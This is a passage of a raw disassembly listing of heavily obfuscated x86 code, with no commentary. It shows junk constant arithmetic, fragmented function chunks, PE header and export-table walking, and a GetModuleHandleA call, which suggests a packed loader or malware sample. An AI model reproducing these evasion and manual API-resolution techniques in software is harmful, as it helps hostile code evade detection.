sub_42304F loc_424218: ; CODE XREF: sub_42304F:loc_4260B8j mov ecx, [ebx+3Ch] mov ecx, [ebx+ecx+78h] or ecx, ecx jz loc_4273B2 mov ecx, [ebx+ecx+0Ch] or ecx, ecx jz loc_4273B2 jmp loc_428079 ; END OF FUNCTION CHUNK FOR sub_42304F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4244F5 loc_424238: ; CODE XREF: sub_4244F5:loc_424512j jl loc_424B00 xchg ebx, [eax] sbb ebx, 0E185253Bh jmp loc_424AF9 ; END OF FUNCTION CHUNK FOR sub_4244F5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42466E loc_42424B: ; CODE XREF: sub_42466E:loc_427DC7j jl loc_426433 ; END OF FUNCTION CHUNK FOR sub_42466E ; START OF FUNCTION CHUNK FOR sub_427AC0 loc_424251: ; CODE XREF: sub_427AC0-1714j jmp loc_42390C ; END OF FUNCTION CHUNK FOR sub_427AC0 ; --------------------------------------------------------------------------- adc edx, 0F4D044CAh jmp loc_42642D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42325E loc_424261: ; CODE XREF: sub_42325E+3EFDj call sub_427AC0 ; END OF FUNCTION CHUNK FOR sub_42325E ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_424266: ; CODE XREF: sub_425BD2+134Dj jmp loc_4286F1 ; END OF FUNCTION CHUNK FOR sub_425BD2 ; --------------------------------------------------------------------------- loc_42426B: ; CODE XREF: hjohnhn9:00423DF1j jl loc_423D06 or edi, 0C113892Dh jmp loc_423CFC ; --------------------------------------------------------------------------- push offset sub_423D1C jmp loc_423B39 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D64 loc_424286: ; CODE XREF: sub_428D64-20j mov cl, [ebp-0Bh] xor edx, edx mov dl, [ebp-9] shr edx, cl jmp loc_42876C ; END OF FUNCTION CHUNK FOR sub_428D64 ; --------------------------------------------------------------------------- and ebp, eax jmp loc_42429D ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_108. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42429D: ; CODE XREF: hjohnhn9:00424297j shl ecx, 0Ah ; =============== S U B R O U T I N E ======================================= sub_4242A0 proc near ; CODE XREF: sub_427E85-3CE5p ; FUNCTION CHUNK AT 00427877 SIZE 0000000A BYTES xchg ebx, [esp+0] pop ebx lea eax, [ebp-125h] jmp loc_427877 sub_4242A0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_4242AF: ; DATA XREF: sub_4285DF+2o push 0AFEC22B3h pop ebx and ebx, 5A0EB2A0h add ebx, 1C34A6B3h jmp loc_4271AE ; --------------------------------------------------------------------------- loc_4242C6: ; CODE XREF: hjohnhn9:loc_42327Ej cmp word ptr [eax], 5A4Dh jnz loc_42476D jmp loc_428414 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4241D2 loc_4242D6: ; CODE XREF: sub_4241D2:loc_4241DBj mov [ebp-20h], eax ; END OF FUNCTION CHUNK FOR sub_4241D2 ; START OF FUNCTION CHUNK FOR sub_424A78 loc_4242D9: ; CODE XREF: sub_42626F:loc_42302Cj ; sub_424A78+1A7j ... call sub_424161 loc_4242DE: ; CODE XREF: sub_428CAF-1C54j jmp loc_423FE9 ; END OF FUNCTION CHUNK FOR sub_424A78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424819 loc_4242E3: ; CODE XREF: sub_424819+15Dj jmp nullsub_90 ; END OF FUNCTION CHUNK FOR sub_424819 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427852 loc_4242E8: ; CODE XREF: sub_427852-37E4j jmp loc_428DDF ; END OF FUNCTION CHUNK FOR sub_427852 ; --------------------------------------------------------------------------- push ebp mov ebp, eax xchg ebp, [esp] push ecx jmp loc_4245DF ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_81. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- cdq jmp loc_4241E0 ; --------------------------------------------------------------------------- loc_424300: ; DATA XREF: sub_424877-222o mov eax, offset dword_425AEC call sub_427C43 call sub_4240E6 loc_42430F: ; CODE XREF: hjohnhn9:00428CFBj jmp loc_42783E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_424314: ; CODE XREF: sub_424631:loc_426650j mov eax, [ebp+8] mov eax, [eax-10h] and eax, 7 mov [ebp-14h], eax cmp dword ptr [ebp-10h], 3 jnb loc_424F28 jmp loc_4277A2 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- loc_42432F: ; CODE XREF: hjohnhn9:00423B33j jns loc_426D35 ; =============== S U B R O U T I N E ======================================= sub_424335 proc near ; CODE XREF: sub_42420D+6p ; FUNCTION CHUNK AT 00425147 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00428723 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi call sub_424AAE push eax pop edx jmp loc_428723 sub_424335 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_424345 proc near ; CODE XREF: hjohnhn9:00426E81j ; sub_427C9B+38p xchg esi, [esp+0] pop esi call sub_424354 retn sub_424345 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4278EC loc_42434F: ; CODE XREF: sub_4278EC-4D5j jmp nullsub_42 ; END OF FUNCTION CHUNK FOR sub_4278EC ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424354 proc near ; CODE XREF: sub_424345+4p push ebp mov ebp, esp push offset sub_4251D3 jmp nullsub_114 sub_424354 endp ; =============== S U B R O U T I N E ======================================= sub_424361 proc near ; CODE XREF: sub_427032+E18p ; hjohnhn9:004290B5j ; FUNCTION CHUNK AT 0042702D SIZE 00000005 BYTES xchg edi, [esp+0] pop edi mov edx, [ebp-8] mov eax, [ebp-4] call nullsub_3 pop ecx pop ecx jmp loc_42702D sub_424361 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_424377 proc near ; CODE XREF: sub_427AEB+3j ; FUNCTION CHUNK AT 00424E8A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042777F SIZE 00000011 BYTES add esp, 0FFFFFFF8h jmp loc_424E8A sub_424377 endp ; --------------------------------------------------------------------------- add eax, 8E0D00EBh jmp sub_424D25 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4278DC loc_42438A: ; CODE XREF: sub_4278DC-277Dj push esi push 0CBBD7B78h pop esi rol esi, 0Bh and esi, 62155165h jmp loc_42809A ; END OF FUNCTION CHUNK FOR sub_4278DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4244F5 loc_42439F: ; CODE XREF: sub_4244F5:loc_4290DFj call sub_427F90 cmp eax, [ebp-8] jnz loc_426F70 mov eax, [ebp-14h] mov eax, [eax+24h] add eax, [ebp-4] xor edx, edx jmp loc_4274F7 ; END OF FUNCTION CHUNK FOR sub_4244F5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42345B loc_4243BD: ; CODE XREF: sub_42345B:loc_426FCFj mov ebp, esp push edi push 0C7AA9249h xchg eax, [esp+0Ch+var_C] jmp loc_428522 ; END OF FUNCTION CHUNK FOR sub_42345B ; --------------------------------------------------------------------------- cmp eax, edx jmp loc_426597 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4237F4 loc_4243D4: ; CODE XREF: sub_4237F4+125Cj or edi, ecx shr edi, 18h loc_4243D9: ; CODE XREF: hjohnhn9:loc_425EB4j ; sub_4237F4:loc_426B2Fj call sub_424877 mov edx, 19CFC62Bh call sub_4279ED call sub_426DFB loc_4243ED: ; CODE XREF: sub_424631+2276j jmp loc_4233E6 ; END OF FUNCTION CHUNK FOR sub_4237F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42304F loc_4243F2: ; CODE XREF: sub_42304F:loc_426833j ; sub_427810:loc_42781Aj mov eax, ebx pop ecx pop ebx retn ; END OF FUNCTION CHUNK FOR sub_42304F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4278EC loc_4243F7: ; CODE XREF: sub_4278EC:loc_427D42j ; sub_4278EC+5CCj mov eax, ds:dword_423944 mov al, [eax] sub al, 99h jmp loc_42740A ; END OF FUNCTION CHUNK FOR sub_4278EC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424831 loc_424405: ; CODE XREF: sub_424831:loc_4276B6j add esi, 25EFCEBCh mov [esi], eax pop esi retn ; END OF FUNCTION CHUNK FOR sub_424831 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427F90 loc_42440F: ; CODE XREF: sub_427F90+FF9j jmp loc_428496 ; END OF FUNCTION CHUNK FOR sub_427F90 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B05 loc_424414: ; CODE XREF: sub_423B05+Fj rol eax, 11h push eax jmp loc_424B3F ; END OF FUNCTION CHUNK FOR sub_423B05 ; =============== S U B R O U T I N E ======================================= sub_42441D proc near ; CODE XREF: hjohnhn9:00424C07j ; sub_425029+3976p ; FUNCTION CHUNK AT 00423031 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042674F SIZE 00000013 BYTES xchg eax, [esp+0] pop eax jnz loc_423031 mov eax, [ebp-8] jmp loc_42674F sub_42441D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42442F proc near ; DATA XREF: sub_426A78:loc_42377Bo var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00424F52 SIZE 00000005 BYTES rol eax, 11h push ebp mov ebp, eax xchg ebp, [esp+4+var_4] call sub_4244F5 jmp loc_424F52 sub_42442F endp ; --------------------------------------------------------------------------- test ebx, eax jmp loc_4280AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4265CD loc_424449: ; CODE XREF: sub_4265CD-3090j jz sub_423AAF jmp loc_426B68 ; END OF FUNCTION CHUNK FOR sub_4265CD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_424454: ; CODE XREF: sub_425BD2+3439j jz loc_428771 cmp ebx, edi jmp loc_42477C ; END OF FUNCTION CHUNK FOR sub_425BD2 ; --------------------------------------------------------------------------- jnp loc_4268A4 jmp loc_423C39 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4279C0 loc_42446C: ; CODE XREF: sub_4279C0-1B31j call sub_42851A mov edx, [ebp+arg_0] mov eax, [edx] add edx, 4 mov edx, [edx] jmp loc_4263B1 ; END OF FUNCTION CHUNK FOR sub_4279C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427032 loc_424480: ; CODE XREF: sub_427032:loc_423806j mov ebx, [eax+4] mov eax, [eax] jnz loc_427039 retn ; --------------------------------------------------------------------------- loc_42448C: ; CODE XREF: sub_427032:loc_427039j call sub_424D25 loc_424491: ; CODE XREF: sub_427AEB+12j jmp loc_427E3F ; END OF FUNCTION CHUNK FOR sub_427032 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427C9B loc_424496: ; CODE XREF: sub_427C9B-485Cj jz loc_425076 test eax, ecx jmp loc_4246F4 ; END OF FUNCTION CHUNK FOR sub_427C9B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4279ED loc_4244A3: ; CODE XREF: sub_4279ED:loc_424C76j xor eax, eax mov [ebp+var_C], eax push offset loc_424BF2 jmp loc_424AA9 ; END OF FUNCTION CHUNK FOR sub_4279ED ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425CB3 loc_4244B2: ; CODE XREF: sub_425CB3-1BD2j push 0 mov edx, esp push ecx adc ecx, esi jmp loc_42383A ; END OF FUNCTION CHUNK FOR sub_425CB3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_4244BE: ; CODE XREF: sub_424631:loc_4232F2j mov eax, [ebp+8] or dword ptr [eax-8], 4 mov eax, [ebp-4] movzx eax, byte ptr [eax] mov edx, [ebp+8] jmp loc_4264F5 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424E4F loc_4244D3: ; CODE XREF: sub_424E4F:loc_42634Fj cmp [ebp+var_1], 0 jz loc_428728 mov [ebp+var_8], 1 loc_4244E4: ; CODE XREF: sub_42392D+151Dj ; sub_424E4F+3D36j mov eax, [ebp+var_8] pop ecx pop ecx call sub_428718 loc_4244EE: ; CODE XREF: sub_425F3F:loc_423456j ; hjohnhn9:00424BF6j ... mov eax, [ebp+var_C] mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_424E4F ; =============== S U B R O U T I N E ======================================= sub_4244F5 proc near ; CODE XREF: sub_428788:loc_423610p ; sub_42442F+9p ... var_4 = dword ptr -4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00424238 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042439F SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00424A39 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00424AF9 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00425E44 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042681D SIZE 0000000A BYTES ; FUNCTION CHUNK AT 004274F7 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 004290DF SIZE 00000005 BYTES call sub_424D38 loc_4244FA: ; CODE XREF: hjohnhn9:004235ABj ; sub_4284CB+4p xchg ecx, [esp+0] pop ecx adc edx, [esp-4+arg_4] jno loc_424A39 add esp, 8 mov eax, [eax] call sub_4241F3 loc_424512: ; CODE XREF: sub_427C9B-2Cj jmp loc_424238 sub_4244F5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_424517: ; CODE XREF: sub_425BD2+14j jmp loc_423F21 ; END OF FUNCTION CHUNK FOR sub_425BD2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427C9B loc_42451C: ; CODE XREF: sub_427C9B-2192j jmp loc_429112 ; END OF FUNCTION CHUNK FOR sub_427C9B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_424521: ; CODE XREF: sub_424161-102j jmp sub_42345B ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426211 loc_424526: ; CODE XREF: sub_426211:loc_4250CFj ; hjohnhn9:004250E4j add edi, 8BC39D66h sub edi, 6F24657h and edi, 366FF2Bh push offset sub_42790F jmp loc_42765C ; END OF FUNCTION CHUNK FOR sub_426211 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42466E loc_424542: ; CODE XREF: sub_42466E-660j xchg ebx, [ebp+0] mov ebp, ebx test edx, 804613E9h jmp loc_42402C ; END OF FUNCTION CHUNK FOR sub_42466E ; --------------------------------------------------------------------------- add eax, edx mov eax, [eax] add eax, [ebp-4] mov [ebp-0Ch], eax mov eax, [ebp-0Ch] jmp loc_423408 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424564 proc near ; DATA XREF: sub_428436o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00424E05 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00426402 SIZE 0000002B BYTES ; FUNCTION CHUNK AT 00426547 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0042755C SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00427F75 SIZE 00000005 BYTES push ebp mov ebp, esp add esp, 0FFFFFFF8h mov [ebp+var_4], eax loc_42456D: ; CODE XREF: sub_424564+2FFBj jb loc_424E05 mov eax, [ebp+var_4] movzx eax, byte ptr [eax] jmp loc_427F75 sub_424564 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_42457E: ; CODE XREF: sub_424161+106Dj jnz loc_4284EE jl loc_428326 jmp loc_4284ED ; --------------------------------------------------------------------------- loc_42458F: ; CODE XREF: sub_424161:loc_427BEEj pop edx xor edx, 2B03DDE2h rol edx, 3 jnb loc_42605A xchg edx, eax jle loc_42312B jmp loc_4271FD ; END OF FUNCTION CHUNK FOR sub_424161 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_86. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- xchg edx, [ecx] test ebp, 3765BA79h jmp loc_423542 ; =============== S U B R O U T I N E ======================================= sub_4245BA proc near ; CODE XREF: sub_424698:loc_423AE4p ; hjohnhn9:00424886j ; FUNCTION CHUNK AT 0042802C SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx mov eax, [ebp-4] movzx eax, word ptr [eax+6] mov [ebp-10h], eax push offset loc_4272B3 jmp loc_42802C sub_4245BA endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427564 loc_4245D2: ; CODE XREF: sub_427564-575j or ebx, 68CF1599h add esi, ebp jmp sub_427DE6 ; END OF FUNCTION CHUNK FOR sub_427564 ; --------------------------------------------------------------------------- loc_4245DF: ; CODE XREF: hjohnhn9:004242F4j push 6EB72A16h pop ecx rol ecx, 6 xor ecx, 51481A26h and ecx, 0B49990B4h rol ecx, 6 add ecx, 0E01E531Dh jmp loc_428EC5 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_60. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42851A loc_424603: ; CODE XREF: sub_42851A-616j jmp sub_4279ED ; END OF FUNCTION CHUNK FOR sub_42851A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427166 loc_424608: ; CODE XREF: sub_427166+Ej pop esi rol esi, 12h xor esi, 0E0F3CFF4h sub esi, 0D1A215BAh and esi, 0E378881Fh add esi, 0BE3237CCh xchg esi, [esp+4+var_4] jmp sub_4244F5 ; END OF FUNCTION CHUNK FOR sub_427166 ; --------------------------------------------------------------------------- loc_42462C: ; CODE XREF: hjohnhn9:00425DD9j call sub_426D17 ; =============== S U B R O U T I N E ======================================= sub_424631 proc near ; CODE XREF: hjohnhn9:00424BEDj ; sub_428477-1C90p ; FUNCTION CHUNK AT 004230C9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00423180 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 004232F2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004233F8 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00423662 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042368D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00423B9C SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00423ED7 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00423F3D SIZE 00000028 BYTES ; FUNCTION CHUNK AT 00424314 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 004244BE SIZE 00000015 BYTES ; FUNCTION CHUNK AT 004249A3 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00424CAA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424F09 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424F28 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00425164 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 00425235 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00425B0E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004264F5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426535 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00426619 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00426650 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426894 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0042692F SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00426E35 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042708C SIZE 0000002A BYTES ; FUNCTION CHUNK AT 0042729D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004276C5 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 004277A2 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 00427970 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00427D89 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427DB3 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00428124 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0042839C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428567 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428BE3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428C44 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428C75 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00428DD1 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00428E16 SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx jnz loc_42879B call nullsub_2 call sub_424877 jmp loc_428124 sub_424631 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424877 loc_42464A: ; CODE XREF: sub_424877:loc_4288F3j mov ebp, esp jnz loc_4265EE add esp, 0FFFFFFECh push offset loc_424300 loc_42465A: ; CODE XREF: hjohnhn9:loc_428351j jmp loc_42792C ; END OF FUNCTION CHUNK FOR sub_424877 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423BC3 loc_42465F: ; CODE XREF: sub_423BC3:loc_424C7Bj mov edx, [edx] xchg edx, [esp-8+arg_4] push dword ptr [ebp+8] call eax ; GetModuleHandleA jmp loc_42713A ; END OF FUNCTION CHUNK FOR sub_423BC3 ; =============== S U B R O U T I N E ======================================= sub_42466E proc near ; CODE XREF: hjohnhn9:004230C4p ; hjohnhn9:004269FEj arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0042309F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042384C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00423BB8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00424008 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042402C SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042424B SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00424542 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00424BD9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00425091 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00425D3D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425DA9 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00426433 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00427947 SIZE 00000003 BYTES ; FUNCTION CHUNK AT 0042797F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427DC7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042857C SIZE 00000011 BYTES ; FUNCTION CHUNK AT 004289F8 SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx mov edx, [edx] add eax, edx pop edx push eax mov eax, ebx xchg eax, [esp+0] jmp loc_42384C sub_42466E endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov dword ptr [ebp-4], 1 push 0E4AEB5DAh push offset sub_4251EB jmp loc_4230A5 ; =============== S U B R O U T I N E ======================================= sub_424698 proc near ; CODE XREF: sub_424A78+4p ; sub_428162+4p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004238FE SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00423928 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00423AD2 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00424153 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004241A5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424757 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00424F4D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425001 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00425C56 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 004261CF SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0042646F SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00427657 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042893A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00428BE8 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00428E07 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428E1B SIZE 00000010 BYTES push ebp call sub_423F77 loc_42469E: ; CODE XREF: sub_427994-8Aj jmp loc_42646F sub_424698 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4290CF loc_4246A3: ; CODE XREF: sub_4290CF-2157j jmp nullsub_96 ; END OF FUNCTION CHUNK FOR sub_4290CF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427C9B loc_4246A8: ; CODE XREF: sub_427C9B+29j ror ebp, 1Dh loc_4246AB: ; CODE XREF: sub_427C9B:loc_427CB3j xor edx, 0B4557C7Dh push offset loc_4230BC jmp nullsub_124 ; END OF FUNCTION CHUNK FOR sub_427C9B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423AAF loc_4246BB: ; CODE XREF: sub_423AAF+1Ej add esi, 77C34538h xchg esi, [esp+4+var_4] jmp loc_428027 ; END OF FUNCTION CHUNK FOR sub_423AAF ; --------------------------------------------------------------------------- loc_4246C9: ; DATA XREF: sub_425BD2+1684o inc dword ptr [ebp-4] cmp dword ptr [ebp-10h], 0 jge loc_424788 jmp loc_4251A7 ; =============== S U B R O U T I N E ======================================= sub_4246DB proc near ; CODE XREF: sub_4262C5:loc_423288p ; sub_427C9B+30j ; FUNCTION CHUNK AT 004250AF SIZE 00000005 BYTES xchg edi, [esp+0] pop edi push ebp mov ebp, esp push ecx push offset loc_427E2F jmp loc_4250AF sub_4246DB endp ; --------------------------------------------------------------------------- loc_4246ED: ; CODE XREF: hjohnhn9:loc_428C28j mov edi, ecx call sub_4249E1 ; START OF FUNCTION CHUNK FOR sub_427C9B loc_4246F4: ; CODE XREF: sub_427C9B-37FDj ja loc_4278C0 sub ecx, ebx push ecx jmp loc_427C61 ; END OF FUNCTION CHUNK FOR sub_427C9B ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_66. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427AC0 loc_424703: ; CODE XREF: sub_427AC0-2DB4j xchg eax, ecx loc_424705: ; CODE XREF: sub_427AC0:loc_424D04j sub eax, 2E16C343h xor eax, 0D66B12EEh and eax, 6022EF0Fh jmp loc_425C3B ; END OF FUNCTION CHUNK FOR sub_427AC0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42851A loc_42471C: ; CODE XREF: sub_42851A-4E85j push eax retn ; END OF FUNCTION CHUNK FOR sub_42851A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4275B2 loc_42471E: ; CODE XREF: sub_4275B2+13j jmp nullsub_125 ; END OF FUNCTION CHUNK FOR sub_4275B2 ; --------------------------------------------------------------------------- loc_424723: ; CODE XREF: hjohnhn9:00426ABEj jmp locret_4265BD ; --------------------------------------------------------------------------- loc_424728: ; CODE XREF: hjohnhn9:00423BFDj jmp loc_427358 ; =============== S U B R O U T I N E ======================================= sub_42472D proc near ; CODE XREF: sub_4279C0-1A5Ep push offset sub_4249BF jmp nullsub_8 sub_42472D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4265CD loc_424737: ; CODE XREF: sub_4265CD+Bj pop ebp push 0E7122127h pop eax or eax, 0C64C46DCh jnz loc_424045 or ebp, edx or eax, 356DC62Fh jmp loc_42403E ; END OF FUNCTION CHUNK FOR sub_4265CD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424698 loc_424757: ; CODE XREF: sub_424698:loc_428E07j xchg edi, [esp+4+var_4] mov ebp, edi pop edi mov eax, ds:dword_423390 jmp loc_424F4D ; END OF FUNCTION CHUNK FOR sub_424698 ; --------------------------------------------------------------------------- loc_424768: ; DATA XREF: sub_423B05+4AF9o call sub_424771 ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_42476D: ; CODE XREF: sub_425BD2:loc_423082j ; hjohnhn9:00424107j ... mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_425BD2 ; =============== S U B R O U T I N E ======================================= sub_424771 proc near ; CODE XREF: hjohnhn9:loc_424768p ; sub_423B05+15B2p push eax push offset loc_426AAD jmp sub_42911C sub_424771 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_42477C: ; CODE XREF: sub_425BD2-1776j jb nullsub_94 sbb ecx, 110A6425h loc_424788: ; CODE XREF: hjohnhn9:004246D0j ; sub_426C09+8j ... jz loc_426F03 mov eax, [ebp-10h] mov al, [ebp+eax-20h] mov edx, [ebp-4] mov [edx], al push offset sub_426827 jmp loc_4266A6 ; END OF FUNCTION CHUNK FOR sub_425BD2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426708 loc_4247A4: ; CODE XREF: sub_426708:loc_426311j ; sub_426708+254j push eax push 0F61C2176h pop eax rol eax, 14h add eax, 0E8D2D426h jmp loc_4283D8 ; END OF FUNCTION CHUNK FOR sub_426708 ; --------------------------------------------------------------------------- ; START 